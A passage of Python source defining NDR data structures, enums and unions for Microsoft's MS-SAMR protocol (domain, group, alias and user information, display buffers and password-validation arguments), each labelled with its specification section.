('Name', SAMPR_DOMAIN_NAME_INFORMATION),\n        DOMAIN_INFORMATION_CLASS.DomainServerRoleInformation  : ('Role', DOMAIN_SERVER_ROLE_INFORMATION),\n        DOMAIN_INFORMATION_CLASS.DomainReplicationInformation : ('Replication', SAMPR_DOMAIN_REPLICATION_INFORMATION),\n        DOMAIN_INFORMATION_CLASS.DomainModifiedInformation    : ('Modified', DOMAIN_MODIFIED_INFORMATION),\n        DOMAIN_INFORMATION_CLASS.DomainStateInformation       : ('State', DOMAIN_STATE_INFORMATION),\n        DOMAIN_INFORMATION_CLASS.DomainGeneralInformation2    : ('General2', SAMPR_DOMAIN_GENERAL_INFORMATION2),\n        DOMAIN_INFORMATION_CLASS.DomainLockoutInformation     : ('Lockout', SAMPR_DOMAIN_LOCKOUT_INFORMATION),\n        DOMAIN_INFORMATION_CLASS.DomainModifiedInformation2   : ('Modified2', DOMAIN_MODIFIED_INFORMATION2),\n    }\n\nclass PSAMPR_DOMAIN_INFO_BUFFER(NDRPOINTER):\n    referent = (\n        ('Data', SAMPR_DOMAIN_INFO_BUFFER),\n    )\n\n# 2.2.5.2 GROUP_ATTRIBUTE_INFORMATION\nclass GROUP_ATTRIBUTE_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('Attributes', ULONG),\n    )\n\n# 2.2.5.3 SAMPR_GROUP_GENERAL_INFORMATION\nclass SAMPR_GROUP_GENERAL_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('Name', RPC_UNICODE_STRING),\n        ('Attributes', ULONG),\n        ('MemberCount', ULONG),\n        ('AdminComment', RPC_UNICODE_STRING),\n    )\n\n# 2.2.5.4 SAMPR_GROUP_NAME_INFORMATION\nclass SAMPR_GROUP_NAME_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('Name', RPC_UNICODE_STRING),\n    )\n\n# 2.2.5.5 SAMPR_GROUP_ADM_COMMENT_INFORMATION\nclass SAMPR_GROUP_ADM_COMMENT_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('AdminComment', RPC_UNICODE_STRING),\n    )\n\n# 2.2.5.6 GROUP_INFORMATION_CLASS\nclass GROUP_INFORMATION_CLASS(NDRENUM):\n    class enumItems(Enum):\n        GroupGeneralInformation      = 1\n        GroupNameInformation         = 2\n        GroupAttributeInformation    = 3\n        GroupAdminCommentInformation = 4\n        GroupReplicationInformation  = 5\n\n# 2.2.5.7 SAMPR_GROUP_INFO_BUFFER\nclass SAMPR_GROUP_INFO_BUFFER(NDRUNION):\n    union = {\n        GROUP_INFORMATION_CLASS.GroupGeneralInformation      : ('General', SAMPR_GROUP_GENERAL_INFORMATION),\n        GROUP_INFORMATION_CLASS.GroupNameInformation         : ('Name', SAMPR_GROUP_NAME_INFORMATION),\n        GROUP_INFORMATION_CLASS.GroupAttributeInformation    : ('Attribute', GROUP_ATTRIBUTE_INFORMATION),\n        GROUP_INFORMATION_CLASS.GroupAdminCommentInformation : ('AdminComment', SAMPR_GROUP_ADM_COMMENT_INFORMATION),\n        GROUP_INFORMATION_CLASS.GroupReplicationInformation  : ('DoNotUse', SAMPR_GROUP_GENERAL_INFORMATION),\n    }\n\nclass PSAMPR_GROUP_INFO_BUFFER(NDRPOINTER):\n    referent = (\n        ('Data', SAMPR_GROUP_INFO_BUFFER),\n    )\n\n# 2.2.6.2 SAMPR_ALIAS_GENERAL_INFORMATION\nclass SAMPR_ALIAS_GENERAL_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('Name', RPC_UNICODE_STRING),\n        ('MemberCount', ULONG),\n        ('AdminComment', RPC_UNICODE_STRING),\n    )\n\n# 2.2.6.3 SAMPR_ALIAS_NAME_INFORMATION\nclass SAMPR_ALIAS_NAME_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('Name', RPC_UNICODE_STRING),\n    )\n\n# 2.2.6.4 SAMPR_ALIAS_ADM_COMMENT_INFORMATION\nclass SAMPR_ALIAS_ADM_COMMENT_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('AdminComment', RPC_UNICODE_STRING),\n    )\n\n# 2.2.6.5 ALIAS_INFORMATION_CLASS\nclass ALIAS_INFORMATION_CLASS(NDRENUM):\n    class enumItems(Enum):\n        AliasGeneralInformation      = 1\n        AliasNameInformation         = 2\n        AliasAdminCommentInformation = 3\n\n# 2.2.6.6 SAMPR_ALIAS_INFO_BUFFER\nclass SAMPR_ALIAS_INFO_BUFFER(NDRUNION):\n    union = {\n        ALIAS_INFORMATION_CLASS.AliasGeneralInformation      : ('General', SAMPR_ALIAS_GENERAL_INFORMATION),\n        ALIAS_INFORMATION_CLASS.AliasNameInformation         : ('Name', SAMPR_ALIAS_NAME_INFORMATION),\n        ALIAS_INFORMATION_CLASS.AliasAdminCommentInformation : ('AdminComment', SAMPR_ALIAS_ADM_COMMENT_INFORMATION),\n    }\n\nclass PSAMPR_ALIAS_INFO_BUFFER(NDRPOINTER):\n    referent = (\n        ('Data', SAMPR_ALIAS_INFO_BUFFER),\n    )\n\n# 2.2.7.2 USER_PRIMARY_GROUP_INFORMATION\nclass USER_PRIMARY_GROUP_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('PrimaryGroupId', ULONG),\n    )\n\n# 2.2.7.3 USER_CONTROL_INFORMATION\nclass USER_CONTROL_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('UserAccountControl', ULONG),\n    )\n\n# 2.2.7.4 USER_EXPIRES_INFORMATION\nclass USER_EXPIRES_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('AccountExpires', OLD_LARGE_INTEGER),\n    )\n\n# 2.2.7.5 SAMPR_LOGON_HOURS\nclass LOGON_HOURS_ARRAY(NDRUniConformantVaryingArray):\n    pass\n\nclass PLOGON_HOURS_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', LOGON_HOURS_ARRAY),\n    )\n\nclass SAMPR_LOGON_HOURS(NDRSTRUCT):\n    structure = (\n        #('UnitsPerWeek', NDRSHORT),\n        ('UnitsPerWeek', ULONG),\n        ('LogonHours', PLOGON_HOURS_ARRAY),\n    )\n\n    def getData(self, soFar = 0):\n        if self['LogonHours'] != 0:\n            self['UnitsPerWeek'] = len(self['LogonHours']) * 8\n        return NDR.getData(self, soFar)\n\n# 2.2.7.6 SAMPR_USER_ALL_INFORMATION\nclass SAMPR_USER_ALL_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('LastLogon', OLD_LARGE_INTEGER),\n        ('LastLogoff', OLD_LARGE_INTEGER),\n        ('PasswordLastSet', OLD_LARGE_INTEGER),\n        ('AccountExpires', OLD_LARGE_INTEGER),\n        ('PasswordCanChange', OLD_LARGE_INTEGER),\n        ('PasswordMustChange', OLD_LARGE_INTEGER),\n        ('UserName', RPC_UNICODE_STRING),\n        ('FullName', RPC_UNICODE_STRING),\n        ('HomeDirectory', RPC_UNICODE_STRING),\n        ('HomeDirectoryDrive', RPC_UNICODE_STRING),\n        ('ScriptPath', RPC_UNICODE_STRING),\n        ('ProfilePath', RPC_UNICODE_STRING),\n        ('AdminComment', RPC_UNICODE_STRING),\n        ('WorkStations', RPC_UNICODE_STRING),\n        ('UserComment', RPC_UNICODE_STRING),\n        ('Parameters', RPC_UNICODE_STRING),\n\n        ('LmOwfPassword', RPC_SHORT_BLOB),\n        ('NtOwfPassword', RPC_SHORT_BLOB),\n        ('PrivateData', RPC_UNICODE_STRING),\n\n        ('SecurityDescriptor', SAMPR_SR_SECURITY_DESCRIPTOR),\n\n        ('UserId', ULONG),\n        ('PrimaryGroupId', ULONG),\n        ('UserAccountControl', ULONG),\n        ('WhichFields', ULONG),\n        ('LogonHours', SAMPR_LOGON_HOURS),\n        ('BadPasswordCount', USHORT),\n        ('LogonCount', USHORT),\n        ('CountryCode', USHORT),\n        ('CodePage', USHORT),\n        ('LmPasswordPresent', UCHAR),\n        ('NtPasswordPresent', UCHAR),\n        ('PasswordExpired', UCHAR),\n        ('PrivateDataSensitive', UCHAR),\n    )\n\n# 2.2.7.7 SAMPR_USER_GENERAL_INFORMATION\nclass SAMPR_USER_GENERAL_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('UserName', RPC_UNICODE_STRING),\n        ('FullName', RPC_UNICODE_STRING),\n        ('PrimaryGroupId', ULONG),\n        ('AdminComment', RPC_UNICODE_STRING),\n        ('UserComment', RPC_UNICODE_STRING),\n    )\n\n# 2.2.7.8 SAMPR_USER_PREFERENCES_INFORMATION\nclass SAMPR_USER_PREFERENCES_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('UserComment', RPC_UNICODE_STRING),\n        ('Reserved1', RPC_UNICODE_STRING),\n        ('CountryCode', USHORT),\n        ('CodePage', USHORT),\n    )\n\n# 2.2.7.9 SAMPR_USER_PARAMETERS_INFORMATION\nclass SAMPR_USER_PARAMETERS_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('Parameters', RPC_UNICODE_STRING),\n    )\n\n# 2.2.7.10 SAMPR_USER_LOGON_INFORMATION\nclass SAMPR_USER_LOGON_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('UserName', RPC_UNICODE_STRING),\n        ('FullName', RPC_UNICODE_STRING),\n        ('UserId', ULONG),\n        ('PrimaryGroupId', ULONG),\n        ('HomeDirectory', RPC_UNICODE_STRING),\n        ('HomeDirectoryDrive', RPC_UNICODE_STRING),\n        ('ScriptPath', RPC_UNICODE_STRING),\n        ('ProfilePath', RPC_UNICODE_STRING),\n        ('WorkStations', RPC_UNICODE_STRING),\n        ('LastLogon', OLD_LARGE_INTEGER),\n        ('LastLogoff', OLD_LARGE_INTEGER),\n        ('PasswordLastSet', OLD_LARGE_INTEGER),\n        ('PasswordCanChange', OLD_LARGE_INTEGER),\n        ('PasswordMustChange', OLD_LARGE_INTEGER),\n        ('LogonHours', SAMPR_LOGON_HOURS),\n        ('BadPasswordCount', USHORT),\n        ('LogonCount', USHORT),\n        ('UserAccountControl', ULONG),\n    )\n\n# 2.2.7.11 SAMPR_USER_ACCOUNT_INFORMATION\nclass SAMPR_USER_ACCOUNT_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('UserName', RPC_UNICODE_STRING),\n        ('FullName', RPC_UNICODE_STRING),\n        ('UserId', ULONG),\n        ('PrimaryGroupId', ULONG),\n        ('HomeDirectory', RPC_UNICODE_STRING),\n        ('HomeDirectoryDrive', RPC_UNICODE_STRING),\n        ('ScriptPath', RPC_UNICODE_STRING),\n        ('ProfilePath', RPC_UNICODE_STRING),\n        ('AdminComment', RPC_UNICODE_STRING),\n        ('WorkStations', RPC_UNICODE_STRING),\n        ('LastLogon', OLD_LARGE_INTEGER),\n        ('LastLogoff', OLD_LARGE_INTEGER),\n        ('LogonHours', SAMPR_LOGON_HOURS),\n        ('BadPasswordCount', USHORT),\n        ('LogonCount', USHORT),\n        ('PasswordLastSet', OLD_LARGE_INTEGER),\n        ('AccountExpires', OLD_LARGE_INTEGER),\n        ('UserAccountControl', ULONG)\n    )\n\n# 2.2.7.12 SAMPR_USER_A_NAME_INFORMATION\nclass SAMPR_USER_A_NAME_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('UserName', RPC_UNICODE_STRING),\n    )\n\n# 2.2.7.13 SAMPR_USER_F_NAME_INFORMATION\nclass SAMPR_USER_F_NAME_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('FullName', RPC_UNICODE_STRING),\n    )\n\n# 2.2.7.14 SAMPR_USER_NAME_INFORMATION\nclass SAMPR_USER_NAME_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('UserName', RPC_UNICODE_STRING),\n        ('FullName', RPC_UNICODE_STRING),\n    )\n\n# 2.2.7.15 SAMPR_USER_HOME_INFORMATION\nclass SAMPR_USER_HOME_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('HomeDirectory', RPC_UNICODE_STRING),\n        ('HomeDirectoryDrive', RPC_UNICODE_STRING),\n    )\n\n# 2.2.7.16 SAMPR_USER_SCRIPT_INFORMATION\nclass SAMPR_USER_SCRIPT_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('ScriptPath', RPC_UNICODE_STRING),\n    )\n\n# 2.2.7.17 SAMPR_USER_PROFILE_INFORMATION\nclass SAMPR_USER_PROFILE_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('ProfilePath', RPC_UNICODE_STRING),\n    )\n\n# 2.2.7.18 SAMPR_USER_ADMIN_COMMENT_INFORMATION\nclass SAMPR_USER_ADMIN_COMMENT_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('AdminComment', RPC_UNICODE_STRING),\n    )\n\n# 2.2.7.19 SAMPR_USER_WORKSTATIONS_INFORMATION\nclass SAMPR_USER_WORKSTATIONS_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('WorkStations', RPC_UNICODE_STRING),\n    )\n\n# 2.2.7.20 SAMPR_USER_LOGON_HOURS_INFORMATION\nclass SAMPR_USER_LOGON_HOURS_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('LogonHours', SAMPR_LOGON_HOURS),\n    )\n\n# 2.2.7.21 SAMPR_ENCRYPTED_USER_PASSWORD\nclass SAMPR_USER_PASSWORD(NDRSTRUCT):\n    structure = (\n        ('Buffer', '512s=b\"\"'),\n        ('Length', ULONG),\n    )\n    def getAlignment(self):\n        return 4\n\n\nclass SAMPR_ENCRYPTED_USER_PASSWORD(NDRSTRUCT):\n    structure = (\n        ('Buffer', '516s=b\"\"'),\n    )\n    def getAlignment(self):\n        return 1\n\nclass PSAMPR_ENCRYPTED_USER_PASSWORD(NDRPOINTER):\n    referent = (\n        ('Data', SAMPR_ENCRYPTED_USER_PASSWORD),\n    )\n\n# 2.2.7.22 SAMPR_ENCRYPTED_USER_PASSWORD_NEW\nclass SAMPR_ENCRYPTED_USER_PASSWORD_NEW(NDRSTRUCT):\n    structure = (\n        ('Buffer', '532s=b\"\"'),\n    )\n    def getAlignment(self):\n        return 1\n\n# 2.2.7.23 SAMPR_USER_INTERNAL1_INFORMATION\nclass SAMPR_USER_INTERNAL1_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('EncryptedNtOwfPassword', ENCRYPTED_NT_OWF_PASSWORD),\n        ('EncryptedLmOwfPassword', ENCRYPTED_LM_OWF_PASSWORD),\n        ('NtPasswordPresent', UCHAR),\n        ('LmPasswordPresent', UCHAR),\n        ('PasswordExpired', UCHAR),\n    )\n\n# 2.2.7.24 SAMPR_USER_INTERNAL4_INFORMATION\nclass SAMPR_USER_INTERNAL4_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('I1', SAMPR_USER_ALL_INFORMATION),\n        ('UserPassword', SAMPR_ENCRYPTED_USER_PASSWORD),\n    )\n\n# 2.2.7.25 SAMPR_USER_INTERNAL4_INFORMATION_NEW\nclass SAMPR_USER_INTERNAL4_INFORMATION_NEW(NDRSTRUCT):\n    structure = (\n        ('I1', SAMPR_USER_ALL_INFORMATION),\n        ('UserPassword', SAMPR_ENCRYPTED_USER_PASSWORD_NEW),\n    )\n\n# 2.2.7.26 SAMPR_USER_INTERNAL5_INFORMATION\nclass SAMPR_USER_INTERNAL5_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('UserPassword', SAMPR_ENCRYPTED_USER_PASSWORD),\n        ('PasswordExpired', UCHAR),\n    )\n\n# 2.2.7.27 SAMPR_USER_INTERNAL5_INFORMATION_NEW\nclass SAMPR_USER_INTERNAL5_INFORMATION_NEW(NDRSTRUCT):\n    structure = (\n        ('UserPassword', SAMPR_ENCRYPTED_USER_PASSWORD_NEW),\n        ('PasswordExpired', UCHAR),\n    )\n\nclass SAMPR_USER_RESET_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('ExtendedWhichFields', ULONG),\n        ('ResetData', RPC_UNICODE_STRING),\n    )\n\n# 2.2.7.28 USER_INFORMATION_CLASS\nclass USER_INFORMATION_CLASS(NDRENUM):\n    class enumItems(Enum):\n        UserGeneralInformation      = 1\n        UserPreferencesInformation  = 2\n        UserLogonInformation        = 3\n        UserLogonHoursInformation   = 4\n        UserAccountInformation      = 5\n        UserNameInformation         = 6\n        UserAccountNameInformation  = 7\n        UserFullNameInformation     = 8\n        UserPrimaryGroupInformation = 9\n        UserHomeInformation         = 10\n        UserScriptInformation       = 11\n        UserProfileInformation      = 12\n        UserAdminCommentInformation = 13\n        UserWorkStationsInformation = 14\n        UserControlInformation      = 16\n        UserExpiresInformation      = 17\n        UserInternal1Information    = 18\n        UserParametersInformation   = 20\n        UserAllInformation          = 21\n        UserInternal4Information    = 23\n        UserInternal5Information    = 24\n        UserInternal4InformationNew = 25\n        UserInternal5InformationNew = 26\n        UserResetInformation        = 30\n\n# 2.2.7.29 SAMPR_USER_INFO_BUFFER\nclass SAMPR_USER_INFO_BUFFER(NDRUNION):\n    union = {\n        USER_INFORMATION_CLASS.UserGeneralInformation     : ('General', SAMPR_USER_GENERAL_INFORMATION),\n        USER_INFORMATION_CLASS.UserPreferencesInformation : ('Preferences', SAMPR_USER_PREFERENCES_INFORMATION),\n        USER_INFORMATION_CLASS.UserLogonInformation       : ('Logon', SAMPR_USER_LOGON_INFORMATION),\n        USER_INFORMATION_CLASS.UserLogonHoursInformation  : ('LogonHours', SAMPR_USER_LOGON_HOURS_INFORMATION),\n        USER_INFORMATION_CLASS.UserAccountInformation     : ('Account', SAMPR_USER_ACCOUNT_INFORMATION),\n        USER_INFORMATION_CLASS.UserNameInformation        : ('Name', SAMPR_USER_NAME_INFORMATION),\n        USER_INFORMATION_CLASS.UserAccountNameInformation : ('AccountName', SAMPR_USER_A_NAME_INFORMATION),\n        USER_INFORMATION_CLASS.UserFullNameInformation    : ('FullName', SAMPR_USER_F_NAME_INFORMATION),\n        USER_INFORMATION_CLASS.UserPrimaryGroupInformation: ('PrimaryGroup', USER_PRIMARY_GROUP_INFORMATION),\n        USER_INFORMATION_CLASS.UserHomeInformation        : ('Home', SAMPR_USER_HOME_INFORMATION),\n        USER_INFORMATION_CLASS.UserScriptInformation      : ('Script', SAMPR_USER_SCRIPT_INFORMATION),\n        USER_INFORMATION_CLASS.UserProfileInformation     : ('Profile', SAMPR_USER_PROFILE_INFORMATION),\n        USER_INFORMATION_CLASS.UserAdminCommentInformation: ('AdminComment', SAMPR_USER_ADMIN_COMMENT_INFORMATION),\n        USER_INFORMATION_CLASS.UserWorkStationsInformation: ('WorkStations', SAMPR_USER_WORKSTATIONS_INFORMATION),\n        USER_INFORMATION_CLASS.UserControlInformation     : ('Control', USER_CONTROL_INFORMATION),\n        USER_INFORMATION_CLASS.UserExpiresInformation     : ('Expires', USER_EXPIRES_INFORMATION),\n        USER_INFORMATION_CLASS.UserInternal1Information   : ('Internal1', SAMPR_USER_INTERNAL1_INFORMATION),\n        USER_INFORMATION_CLASS.UserParametersInformation  : ('Parameters', SAMPR_USER_PARAMETERS_INFORMATION ),\n        USER_INFORMATION_CLASS.UserAllInformation         : ('All', SAMPR_USER_ALL_INFORMATION),\n        USER_INFORMATION_CLASS.UserInternal4Information   : ('Internal4', SAMPR_USER_INTERNAL4_INFORMATION),\n        USER_INFORMATION_CLASS.UserInternal5Information   : ('Internal5', SAMPR_USER_INTERNAL5_INFORMATION),\n        USER_INFORMATION_CLASS.UserInternal4InformationNew: ('Internal4New', SAMPR_USER_INTERNAL4_INFORMATION_NEW),\n        USER_INFORMATION_CLASS.UserInternal5InformationNew: ('Internal5New', SAMPR_USER_INTERNAL5_INFORMATION_NEW),\n        USER_INFORMATION_CLASS.UserResetInformation       : ('Reset', SAMPR_USER_RESET_INFORMATION),\n    }\n\nclass PSAMPR_USER_INFO_BUFFER(NDRPOINTER):\n    referent = (\n        ('Data', SAMPR_USER_INFO_BUFFER),\n    )\n\nclass PSAMPR_SERVER_NAME2(NDRPOINTER):\n    referent = (\n        ('Data', '4s=b\"\"'),\n    )\n\n# 2.2.8.2 SAMPR_DOMAIN_DISPLAY_USER\nclass SAMPR_DOMAIN_DISPLAY_USER(NDRSTRUCT):\n    structure = (\n        ('Index',ULONG),\n        ('Rid',ULONG),\n        ('AccountControl',ULONG),\n        ('AccountName',RPC_UNICODE_STRING),\n        ('AdminComment',RPC_UNICODE_STRING),\n        ('FullName',RPC_UNICODE_STRING),\n    )\n\nclass SAMPR_DOMAIN_DISPLAY_USER_ARRAY(NDRUniConformantArray):\n    item = SAMPR_DOMAIN_DISPLAY_USER\n\nclass PSAMPR_DOMAIN_DISPLAY_USER_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data',SAMPR_DOMAIN_DISPLAY_USER_ARRAY),\n    )\n\n# 2.2.8.3 SAMPR_DOMAIN_DISPLAY_MACHINE\nclass SAMPR_DOMAIN_DISPLAY_MACHINE(NDRSTRUCT):\n    structure = (\n        ('Index',ULONG),\n        ('Rid',ULONG),\n        ('AccountControl',ULONG),\n        ('AccountName',RPC_UNICODE_STRING),\n        ('AdminComment',RPC_UNICODE_STRING),\n    )\n\nclass SAMPR_DOMAIN_DISPLAY_MACHINE_ARRAY(NDRUniConformantArray):\n    item = SAMPR_DOMAIN_DISPLAY_MACHINE\n\nclass PSAMPR_DOMAIN_DISPLAY_MACHINE_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data',SAMPR_DOMAIN_DISPLAY_MACHINE_ARRAY),\n    )\n\n# 2.2.8.4 SAMPR_DOMAIN_DISPLAY_GROUP\nclass SAMPR_DOMAIN_DISPLAY_GROUP(NDRSTRUCT):\n    structure = (\n        ('Index',ULONG),\n        ('Rid',ULONG),\n        ('AccountControl',ULONG),\n        ('AccountName',RPC_UNICODE_STRING),\n        ('AdminComment',RPC_UNICODE_STRING),\n    )\n\nclass SAMPR_DOMAIN_DISPLAY_GROUP_ARRAY(NDRUniConformantArray):\n    item = SAMPR_DOMAIN_DISPLAY_GROUP\n\nclass PSAMPR_DOMAIN_DISPLAY_GROUP_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data',SAMPR_DOMAIN_DISPLAY_GROUP_ARRAY),\n    )\n\n# 2.2.8.5 SAMPR_DOMAIN_DISPLAY_OEM_USER\nclass SAMPR_DOMAIN_DISPLAY_OEM_USER(NDRSTRUCT):\n    structure = (\n        ('Index',ULONG),\n        ('OemAccountName',RPC_STRING),\n    )\n\nclass SAMPR_DOMAIN_DISPLAY_OEM_USER_ARRAY(NDRUniConformantArray):\n    item = SAMPR_DOMAIN_DISPLAY_OEM_USER\n\nclass PSAMPR_DOMAIN_DISPLAY_OEM_USER_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data',SAMPR_DOMAIN_DISPLAY_OEM_USER_ARRAY),\n    )\n\n# 2.2.8.6 SAMPR_DOMAIN_DISPLAY_OEM_GROUP\nclass SAMPR_DOMAIN_DISPLAY_OEM_GROUP(NDRSTRUCT):\n    structure = (\n        ('Index',ULONG),\n        ('OemAccountName',RPC_STRING),\n    )\n\nclass SAMPR_DOMAIN_DISPLAY_OEM_GROUP_ARRAY(NDRUniConformantArray):\n    item = SAMPR_DOMAIN_DISPLAY_OEM_GROUP\n\nclass PSAMPR_DOMAIN_DISPLAY_OEM_GROUP_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data',SAMPR_DOMAIN_DISPLAY_OEM_GROUP_ARRAY),\n    )\n\n#2.2.8.7 SAMPR_DOMAIN_DISPLAY_USER_BUFFER\nclass SAMPR_DOMAIN_DISPLAY_USER_BUFFER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', ULONG),\n        ('Buffer', PSAMPR_DOMAIN_DISPLAY_USER_ARRAY),\n    )\n\n# 2.2.8.8 SAMPR_DOMAIN_DISPLAY_MACHINE_BUFFER\nclass SAMPR_DOMAIN_DISPLAY_MACHINE_BUFFER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', ULONG),\n        ('Buffer', PSAMPR_DOMAIN_DISPLAY_MACHINE_ARRAY),\n    )\n\n# 2.2.8.9 SAMPR_DOMAIN_DISPLAY_GROUP_BUFFER\nclass SAMPR_DOMAIN_DISPLAY_GROUP_BUFFER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', ULONG),\n        ('Buffer', PSAMPR_DOMAIN_DISPLAY_GROUP_ARRAY),\n    )\n\n# 2.2.8.10 SAMPR_DOMAIN_DISPLAY_OEM_USER_BUFFER\nclass SAMPR_DOMAIN_DISPLAY_OEM_USER_BUFFER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', ULONG),\n        ('Buffer', PSAMPR_DOMAIN_DISPLAY_OEM_USER_ARRAY),\n    )\n\n# 2.2.8.11 SAMPR_DOMAIN_DISPLAY_OEM_GROUP_BUFFER\nclass SAMPR_DOMAIN_DISPLAY_OEM_GROUP_BUFFER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', ULONG),\n        ('Buffer', PSAMPR_DOMAIN_DISPLAY_OEM_GROUP_ARRAY),\n    )\n\n# 2.2.8.12 DOMAIN_DISPLAY_INFORMATION\nclass DOMAIN_DISPLAY_INFORMATION(NDRENUM):\n    class enumItems(Enum):\n        DomainDisplayUser     = 1\n        DomainDisplayMachine  = 2\n        DomainDisplayGroup    = 3\n        DomainDisplayOemUser  = 4\n        DomainDisplayOemGroup = 5\n\n# 2.2.8.13 SAMPR_DISPLAY_INFO_BUFFER\nclass SAMPR_DISPLAY_INFO_BUFFER(NDRUNION):\n    union = {\n        DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser     : ('UserInformation', SAMPR_DOMAIN_DISPLAY_USER_BUFFER),\n        DOMAIN_DISPLAY_INFORMATION.DomainDisplayMachine  : ('MachineInformation', SAMPR_DOMAIN_DISPLAY_MACHINE_BUFFER),\n        DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup    : ('GroupInformation', SAMPR_DOMAIN_DISPLAY_GROUP_BUFFER),\n        DOMAIN_DISPLAY_INFORMATION.DomainDisplayOemUser  : ('OemUserInformation', SAMPR_DOMAIN_DISPLAY_OEM_USER_BUFFER),\n        DOMAIN_DISPLAY_INFORMATION.DomainDisplayOemGroup : ('OemGroupInformation', SAMPR_DOMAIN_DISPLAY_OEM_GROUP_BUFFER),\n    }\n\n# 2.2.9.1 SAM_VALIDATE_PASSWORD_HASH\nclass SAM_VALIDATE_PASSWORD_HASH(NDRSTRUCT):\n    structure = (\n        ('Length', ULONG),\n        ('Hash', LPBYTE),\n    )\n\nclass PSAM_VALIDATE_PASSWORD_HASH(NDRPOINTER):\n    referent = (\n        ('Data', SAM_VALIDATE_PASSWORD_HASH),\n    )\n\n# 2.2.9.2 SAM_VALIDATE_PERSISTED_FIELDS\nclass SAM_VALIDATE_PERSISTED_FIELDS(NDRSTRUCT):\n    structure = (\n        ('PresentFields', ULONG),\n        ('PasswordLastSet', LARGE_INTEGER),\n        ('BadPasswordTime', LARGE_INTEGER),\n        ('LockoutTime', LARGE_INTEGER),\n        ('BadPasswordCount', ULONG),\n        ('PasswordHistoryLength', ULONG),\n        ('PasswordHistory', PSAM_VALIDATE_PASSWORD_HASH),\n    )\n\n# 2.2.9.3 SAM_VALIDATE_VALIDATION_STATUS\nclass SAM_VALIDATE_VALIDATION_STATUS(NDRENUM):\n    class enumItems(Enum):\n        SamValidateSuccess                  = 0\n        SamValidatePasswordMustChange       = 1\n        SamValidateAccountLockedOut         = 2\n        SamValidatePasswordExpired          = 3\n        SamValidatePasswordIncorrect        = 4\n        SamValidatePasswordIsInHistory      = 5\n        SamValidatePasswordTooShort         = 6\n        SamValidatePasswordTooLong          = 7\n        SamValidatePasswordNotComplexEnough = 8\n        SamValidatePasswordTooRecent        = 9\n        SamValidatePasswordFilterError      = 10\n\n# 2.2.9.4 SAM_VALIDATE_STANDARD_OUTPUT_ARG\nclass SAM_VALIDATE_STANDARD_OUTPUT_ARG(NDRSTRUCT):\n    structure = (\n        ('ChangedPersistedFields', SAM_VALIDATE_PERSISTED_FIELDS),\n        ('ValidationStatus', SAM_VALIDATE_VALIDATION_STATUS),\n    )\n\nclass PSAM_VALIDATE_STANDARD_OUTPUT_ARG(NDRPOINTER):\n    referent = (\n        ('Data', SAM_VALIDATE_STANDARD_OUTPUT_ARG),\n    )\n\n# 2.2.9.5 SAM_VALIDATE_AUTHENTICATION_INPUT_ARG\nclass SAM_VALIDATE_AUTHENTICATION_INPUT_ARG(NDRSTRUCT):\n    structure = (\n        ('InputPersistedFields', SAM_VALIDATE_PERSISTED_FIELDS),\n        ('PasswordMatched', UCHAR),\n    )\n\n# 2.2.9.6 SAM_VALIDATE_PASSWORD_CHANGE_INPUT_ARG\nclass SAM_VALIDATE_PASSWORD_CHANGE_INPUT_ARG(NDRSTRUCT):\n    structure = (\n        ('InputPersistedFields', SAM_VALIDATE_PERSISTED_FIELDS),\n        ('ClearPassword', RPC_UNICODE_STRING),\n        ('UserAccountName', RPC_UNICODE_STRING),\n        ('HashedPassword', SAM_VALIDATE_PASSWORD_HASH),\n        ('PasswordMatch', UCHAR),\n    )\n\n# 2.2.9.7 SAM_VALIDATE_PASSWORD_RESET_INPUT_ARG\nclass SAM_VALIDATE_PASSWORD_RESET_INPUT_ARG(NDRSTRUCT):\n    structure = (\n        ('InputPersistedFields', SAM_VALIDATE_PERSISTED_FIELDS),\n        ('ClearPassword', RPC_UNICODE_STRING),\n        ('UserAccountName', RPC_UNICODE_STRING),\n        ('HashedPassword', SAM_VALIDATE_PASSWORD_HASH),\n        ('PasswordMustChangeAtNextLogon', UCHAR),\n        ('ClearLockout', UCHAR),\n    )\n\n# 2.2.9.8 PASSWORD_POLICY_VALIDATION_TYPE\nclass PASSWORD_POLICY_VALIDATION_TYPE(NDRENUM):\n    class enumItems(Enum):\n        SamValidateAuthentication   = 1\n        SamValidatePasswordChange   = 2\n        SamValidatePasswordReset    = 3\n\n# 2.2.9.9 SAM_VALIDATE_INPUT_ARG\nclass SAM_VALIDATE_INPUT_ARG(NDRUNION):\n    union = 